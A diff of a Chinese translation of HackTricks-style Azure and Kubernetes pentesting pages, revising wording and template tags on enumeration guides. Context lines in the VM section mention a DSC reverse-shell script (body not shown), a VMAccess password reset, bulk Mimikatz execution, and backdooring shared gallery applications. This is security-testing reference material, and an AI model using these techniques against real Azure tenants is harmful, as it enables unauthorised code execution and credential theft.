adminuser ``` -{% endcode %} +## References -## 参考 - -* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) ## 权限提升 -{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %} -[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} ## 后期利用 -{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %} -[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-postgresql-post-exploitation.md +{{#endref}} ## 待办事项 -* 寻找一种方法以 ad-admin 访问以验证其是否为权限提升方法 +* 寻找一种方法以 ad-admin 访问以验证这是一种权限提升方法 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md index 5b561c64e..de4029127 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md @@ -4,7 +4,7 @@ ## 基本信息 -Azure Queue Storage 是微软 Azure 云平台中的一项服务,旨在实现应用组件之间的消息排队,**支持异步通信和解耦**。它允许您存储无限数量的消息,每条消息最大为 64 KB,并支持创建和删除队列、添加、检索、更新和删除消息,以及管理元数据和访问策略等操作。虽然它通常以先进先出(FIFO)的方式处理消息,但不保证严格的 FIFO。 +Azure Queue Storage 是微软 Azure 云平台中的一项服务,旨在实现应用组件之间的消息排队,**实现异步通信和解耦**。它允许您存储无限数量的消息,每条消息最大为 64 KB,并支持创建和删除队列、添加、检索、更新和删除消息,以及管理元数据和访问策略等操作。虽然它通常以先进先出(FIFO)的方式处理消息,但不保证严格的 FIFO。 ### 枚举 @@ -12,19 +12,19 @@ Azure Queue Storage 是微软 Azure 云平台中的一项服务,旨在实现 {{#tab name="Az Cli" }} ```bash # You need to know the --account-name of the storage (az storage account list) -az storage queue list --account-name +az storage queue list --account-name # --auth-mode login # Queue Metadata -az storage queue metadata show --name --account-name +az storage queue metadata show --name --account-name # --auth-mode login #Get ACL -az storage queue policy list --queue-name --account-name +az storage queue policy list --queue-name --account-name # --auth-mode login # Get Messages (getting a message deletes it) -az storage message get --queue-name --account-name +az storage message get --queue-name --account-name # --auth-mode login # Peek Messages -az storage message peek --queue-name --account-name +az storage message peek --queue-name --account-name # --auth-mode login ``` {{#endtab }} diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index 3242dd6e5..07b54bf7a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -4,11 +4,11 @@ ## Service Bus -Azure Service Bus 是一个基于云的 **消息服务**,旨在实现 **应用程序不同部分或独立应用程序之间的可靠通信**。它充当安全的中介,确保消息安全送达,即使发送者和接收者并不同时操作。通过解耦系统,它允许应用程序独立工作,同时仍然交换数据或指令。它特别适用于需要在多个工作者之间进行负载均衡、可靠消息传递或复杂协调的场景,例如按顺序处理任务或安全管理访问。 +Azure Service Bus 是一个基于云的 **消息服务**,旨在实现 **应用程序不同部分或独立应用程序之间的可靠通信**。它充当安全的中介,确保消息安全送达,即使发送方和接收方并不同时操作。通过解耦系统,它允许应用程序独立工作,同时仍然交换数据或指令。它特别适用于需要在多个工作者之间进行负载均衡、可靠消息传递或复杂协调的场景,例如按顺序处理任务或安全管理访问。 ### Key Concepts -1. **Queues:** 其目的是在接收者准备好之前存储消息。 +1. **Queues:** 其目的是在接收方准备好之前存储消息。 - 消息是有序的、带时间戳的,并且持久存储。 - 以拉取模式交付(按需检索)。 - 支持点对点通信。 @@ -23,9 +23,9 @@ Azure Service Bus 是一个基于云的 **消息服务**,旨在实现 **应用 一些高级功能包括: - **Message Sessions**: 确保 FIFO 处理并支持请求-响应模式。 -- **Auto-Forwarding**: 在同一命名空间内转移队列或主题之间的消息。 +- **Auto-Forwarding**: 在同一命名空间内在队列或主题之间转移消息。 - **Dead-Lettering**: 捕获无法送达的消息以供审查。 -- **Scheduled Delivery**: 延迟未来任务的消息处理。 +- **Scheduled Delivery**: 延迟消息处理以进行未来任务。 - **Message Deferral**: 推迟消息检索直到准备好。 - **Transactions**: 将操作分组为原子执行。 - **Filters & Actions**: 应用规则以过滤或注释消息。 @@ -51,9 +51,8 @@ sku, 授权规则, ### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # Queue Enumeration az servicebus queue list --resource-group --namespace-name @@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group - az servicebus topic authorization-rule list --resource-group --namespace-name --topic-name az servicebus namespace authorization-rule keys list --resource-group --namespace-name --name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.ServiceBus @@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName -NamespaceNa # Retrieves details of a specified topic in a Service Bus namespace. Get-AzServiceBusTopic -ResourceGroupName -NamespaceName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### 权限提升 @@ -147,8 +143,8 @@ Get-AzServiceBusTopic -ResourceGroupName -NamespaceName -ResourceGroupName ## 图像、图库图像和还原点 -一个 **VM 镜像** 是一个模板,包含创建 **新虚拟机 (VM)** 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是单个托管磁盘的只读、时间点副本,主要用于备份或故障排除,而镜像可以包含 **多个磁盘,并旨在作为创建新 VM 的模板**。\ -图像可以在 Azure 的 **图像部分** 或 **Azure 计算库** 中管理,后者允许生成 **版本** 并 **跨租户共享** 图像,甚至使其公开。 +一个 **VM 镜像** 是一个模板,包含创建新虚拟机 (VM) 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是单个托管磁盘的只读、时间点副本,主要用于备份或故障排除,而镜像可以包含 **多个磁盘,并旨在作为创建新 VM 的模板**。\ +图像可以在 Azure 的 **图像部分** 或 **Azure 计算库** 中管理,后者允许生成 **版本** 和 **共享** 图像,跨租户共享甚至公开。 一个 **还原点** 存储 VM 配置和 **时间点** 应用程序一致的 **所有托管磁盘的快照**。它与 VM 相关,其目的是能够将该 VM 恢复到特定时间点的状态。 @@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName ``` -## 代码执行在虚拟机中 +{{#endtab }} +{{#endtabs }} + +## 在虚拟机中执行代码 ### 虚拟机扩展 -Azure 虚拟机扩展是小型应用程序,提供 **部署后配置** 和自动化任务在 Azure 虚拟机 (VMs) 上。 +Azure 虚拟机扩展是提供 **部署后配置** 和自动化任务的小型应用程序,运行在 Azure 虚拟机 (VM) 上。 这将允许 **在虚拟机内部执行任意代码**。 @@ -539,7 +547,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na VMAccess 扩展 -此扩展允许修改 Windows 虚拟机内用户的密码(或在不存在时创建)。 +此扩展允许修改 Windows 虚拟机内用户的密码(如果不存在则创建)。 ```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -551,7 +559,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredStateConfiguration (DSC) -这是一个属于微软的 **VM 扩展**,使用 PowerShell DSC 来管理 Azure Windows 虚拟机的配置。因此,可以通过此扩展在 Windows 虚拟机中 **执行任意命令**: +这是一个属于微软的**VM扩展**,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,可以通过此扩展在Windows虚拟机中**执行任意命令**: ```bash # Content of revShell.ps1 Configuration RevShellConfig { @@ -625,7 +633,7 @@ az sig gallery-application list --gallery-name --resource-group < 查看如何安装新应用程序在 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] -> 可以**与其他订阅或租户共享单个应用程序和画廊**。这非常有趣,因为这可能允许攻击者在应用程序中植入后门并转向其他订阅和租户。 +> 可以**与其他订阅或租户共享单个应用程序和画廊**。这非常有趣,因为这可能允许攻击者在应用程序中植入后门,并转向其他订阅和租户。 但是**没有像扩展那样的虚拟机应用程序“市场”**。 @@ -796,7 +804,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md {{#endref}} -## 后期利用 +## 利用后 {{#ref}} ../../az-post-exploitation/az-vms-and-network-post-exploitation.md diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index f375bbf07..603e0c3b4 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -49,14 +49,14 @@ Select-Object Name, AddressPrefix ## 网络安全组 (NSG) -一个 **网络安全组 (NSG)** 过滤 Azure 虚拟网络 (VNet) 中 Azure 资源的网络流量。它包含一组 **安全规则**,可以指示 **哪些端口可以用于入站和出站流量**,通过源端口、源 IP、目标端口,并且可以分配优先级(优先级数字越低,优先级越高)。 +一个 **网络安全组 (NSG)** 过滤 Azure 虚拟网络 (VNet) 中 Azure 资源的网络流量。它包含一组 **安全规则**,可以指示 **哪些端口应为入站和出站流量开放**,根据源端口、源 IP、目标端口,并且可以分配优先级(优先级数字越低,优先级越高)。 NSG 可以与 **子网和网络接口卡 (NIC)** 关联。 **规则示例:** -- 一个入站规则,允许来自任何源的 HTTP 流量(端口 80)到你的 web 服务器。 -- 一个出站规则,仅允许 SQL 流量(端口 1433)到特定的目标 IP 地址范围。 +- 一个允许来自任何源的 HTTP 流量(端口 80)到您的 Web 服务器的入站规则。 +- 一个仅允许 SQL 流量(端口 1433)到特定目标 IP 地址范围的出站规则。 ### 枚举 @@ -91,19 +91,20 @@ Get-AzNetworkSecurityGroup -Name -ResourceGroupName - **VNet Peering** 是 Azure 中的一项网络功能,**允许不同的虚拟网络 (VNets) 直接无缝连接**。通过 VNet 对等连接,一个 VNet 中的资源可以使用私有 IP 地址与另一个 VNet 中的资源进行通信,**就像它们在同一网络中一样**。\ **VNet 对等连接还可以与本地网络一起使用**,通过设置站点到站点的 VPN 或 Azure ExpressRoute。 -**Azure Hub 和 Spoke** 是在 Azure 中用于管理和组织网络流量的网络拓扑。**“中心”是一个控制和路由不同“辐射”之间流量的中心点**。中心通常包含共享服务,如网络虚拟设备 (NVA)、Azure VPN 网关、Azure 防火墙或 Azure Bastion。**“辐射”是承载工作负载并通过 VNet 对等连接到中心的 VNets**,使它们能够利用中心内的共享服务。该模型促进了清晰的网络布局,通过集中多个 VNet 可以使用的公共服务来减少复杂性。 +**Azure Hub 和 Spoke** 是在 Azure 中用于管理和组织网络流量的网络拓扑。**“中心”是一个控制和路由不同“辐射”的流量的中心点**。中心通常包含共享服务,如网络虚拟设备 (NVA)、Azure VPN 网关、Azure 防火墙或 Azure Bastion。**“辐射”是承载工作负载并通过 VNet 对等连接到中心的 VNets**,使它们能够利用中心内的共享服务。该模型促进了清晰的网络布局,通过集中多个 VNet 可以使用的公共服务来减少复杂性。 > [!CAUTION] > **在 Azure 中,VNET 对等连接是非传递的**,这意味着如果辐射 1 连接到辐射 2,辐射 2 连接到辐射 3,则辐射 1 不能直接与辐射 3 通信。 @@ -367,7 +368,7 @@ Get-AzFirewall **示例:** -一家总部位于纽约的企业拥有一个本地数据中心,需要安全地连接到其在 Azure 中托管虚拟化工作负载的 VNet。通过设置 **Site-to-Site VPN,公司可以确保本地服务器与 Azure 虚拟机之间的加密连接**,使得资源可以在两个环境中安全访问,就像它们在同一本地网络中一样。 +一家总部位于纽约的企业拥有一个本地数据中心,需要安全地连接到其在 Azure 中托管虚拟化工作负载的 VNet。通过设置 **Site-to-Site VPN,该公司可以确保本地服务器与 Azure 虚拟机之间的加密连接**,使得资源可以在两个环境中安全访问,就像它们在同一本地网络中一样。 ### **Enumeration** diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index bba463fc9..16f26ed4a 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -13,16 +13,17 @@ - 如果可能,考虑 **限制** **权限**,指明 **seLinuxOptions** 和 **seccompProfile** - **不要** 通过 **runAsGroup** 和 **supplementaryGroups** 提供 **特权** **组** 访问 -|

fsGroup
整数

|

适用于所有容器的特殊补充组。某些卷类型允许 Kubelet 更改该卷的所有权,使其归 Pod 所有:
1. 拥有的 GID 将是 FSGroup
2. 设置 setgid 位(在卷中创建的新文件将由 FSGroup 拥有)
3. 权限位与 rw-rw---- 进行 OR 运算。如果未设置,Kubelet 将不会修改任何卷的所有权和权限

| -| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

fsGroupChangePolicy
字符串

| 这定义了在 Pod 内部暴露之前 **更改卷的所有权和权限** 的行为。 | -|

runAsGroup
整数

| **运行容器进程的入口点的 GID**。如果未设置,则使用运行时默认值。 | -|

runAsNonRoot
布尔值

| 表示容器必须以非根用户身份运行。如果为 true,Kubelet 将在运行时验证映像,以确保其不以 UID 0(根)身份运行,如果是,则无法启动容器。 | -|

runAsUser
整数

| **运行容器进程的入口点的 UID**。如果未指定,则默认为映像元数据中指定的用户。 | +| 参数 | 描述 | +|

fsGroup
integer

|

适用于所有容器的特殊补充组。某些卷类型允许 Kubelet 更改该卷的所有权,使其归 Pod 所有:
1. 拥有的 GID 将是 FSGroup
2. 设置 setgid 位(在卷中创建的新文件将由 FSGroup 拥有)
3. 权限位与 rw-rw---- 进行 OR 运算。如果未设置,Kubelet 将不会修改任何卷的所有权和权限

| + +|

fsGroupChangePolicy
string

| 这定义了在 Pod 内部暴露之前 **更改卷的所有权和权限** 的行为。 | +|

runAsGroup
integer

| **运行容器进程的入口点的 GID**。如果未设置,则使用运行时默认值。 | +|

runAsNonRoot
boolean

| 表示容器必须以非根用户身份运行。如果为 true,Kubelet 将在运行时验证映像,以确保它不以 UID 0(根)身份运行,如果是,则无法启动容器。 | +|

runAsUser
integer

| **运行容器进程的入口点的 UID**。如果未指定,则默认为映像元数据中指定的用户。 | |

seLinuxOptions
SELinuxOptions
有关 seLinux 的更多信息

| **应用于所有容器的 SELinux 上下文**。如果未指定,容器运行时将为每个容器分配一个随机的 SELinux 上下文。 | |

seccompProfile
SeccompProfile
有关 Seccomp 的更多信息

| 此 Pod 中容器使用的 **seccomp 选项**。 | -|

supplementalGroups
整数数组

| 除了容器的主要 GID 之外,**应用于每个容器中运行的第一个进程的组** 列表。 | -|

sysctls
Sysctl 数组
有关 sysctls

| Sysctls 持有 **用于 Pod 的命名空间 sysctls 列表**。具有不受支持的 sysctls(由容器运行时)可能会导致启动失败。 | +|

supplementalGroups
integer array

| 除了容器的主要 GID 之外,**应用于每个容器中运行的第一个进程的组** 列表。 | +|

sysctls
Sysctl array
有关 sysctls

| Sysctls 持有 **用于 Pod 的命名空间 sysctls 列表**。具有不受支持的 sysctls(由容器运行时)可能会导致 Pod 启动失败。 | |

windowsOptions
WindowsSecurityContextOptions

| 应用于所有容器的 Windows 特定设置。如果未指定,将使用容器的 SecurityContext 中的选项。 | ## SecurityContext @@ -41,15 +42,15 @@ 请注意,在 **SecurityContext 和 PodSecurityContext** 中设置的属性,**SecurityContext** 中指定的值具有 **优先权**。 -|

allowPrivilegeEscalation
布尔值

| **AllowPrivilegeEscalation** 控制进程是否可以 **获得比其父进程更多的特权**。此布尔值直接控制是否将在容器进程上设置 no_new_privs 标志。当容器以 **Privileged** 身份运行或具有 **CAP_SYS_ADMIN** 时,AllowPrivilegeEscalation 始终为 true | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** 控制进程是否可以 **获得比其父进程更多的权限**。此布尔值直接控制是否将在容器进程上设置 no_new_privs 标志。当容器以 **Privileged** 身份运行或具有 **CAP_SYS_ADMIN** 时,AllowPrivilegeEscalation 始终为 true。 | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
有关 Capabilities 的更多信息

| **运行容器时要添加/删除的能力**。默认为默认的能力集。 | -|

privileged
布尔值

| 以特权模式运行容器。特权容器中的进程基本上 **等同于主机上的 root**。默认为 false。 | -|

procMount
字符串

| procMount 表示 **用于容器的 proc 挂载类型**。默认值为 DefaultProcMount,它使用容器运行时的只读路径和屏蔽路径的默认值。 | -|

readOnlyRootFilesystem
布尔值

| 此 **容器是否具有只读根文件系统**。默认值为 false。 | -|

runAsGroup
整数

| **运行容器进程的入口点的 GID**。如果未设置,则使用运行时默认值。 | -|

runAsNonRoot
布尔值

| 表示容器必须 **以非根用户身份运行**。如果为 true,Kubelet 将在运行时验证映像,以确保其不以 UID 0(根)身份运行,如果是,则无法启动容器。 | -|

runAsUser
整数

| **运行容器进程的入口点的 UID**。如果未指定,则默认为映像元数据中指定的用户。 | +|

capabilities
Capabilities
有关 Capabilities 的更多信息

| **运行容器时添加/删除的能力**。默认为默认的能力集。 | +|

privileged
boolean

| 以特权模式运行容器。特权容器中的进程基本上与主机上的 **root 等效**。默认为 false。 | +|

procMount
string

| procMount 表示 **用于容器的 proc 挂载类型**。默认值为 DefaultProcMount,它使用容器运行时的只读路径和屏蔽路径的默认值。 | +|

readOnlyRootFilesystem
boolean

| 此 **容器是否具有只读根文件系统**。默认值为 false。 | +|

runAsGroup
integer

| **运行容器进程的入口点的 GID**。如果未设置,则使用运行时默认值。 | +|

runAsNonRoot
boolean

| 表示容器必须 **以非根用户身份运行**。如果为 true,Kubelet 将在运行时验证映像,以确保它不以 UID 0(根)身份运行,如果是,则无法启动容器。 | +|

runAsUser
integer

| **运行容器进程的入口点的 UID**。如果未指定,则默认为映像元数据中指定的用户。 | |

seLinuxOptions
SELinuxOptions
有关 seLinux 的更多信息

| **应用于容器的 SELinux 上下文**。如果未指定,容器运行时将为每个容器分配一个随机的 SELinux 上下文。 | |

seccompProfile
SeccompProfile

| 此容器使用的 **seccomp 选项**。 | |

windowsOptions
WindowsSecurityContextOptions

| 应用于所有容器的 **Windows 特定设置**。 |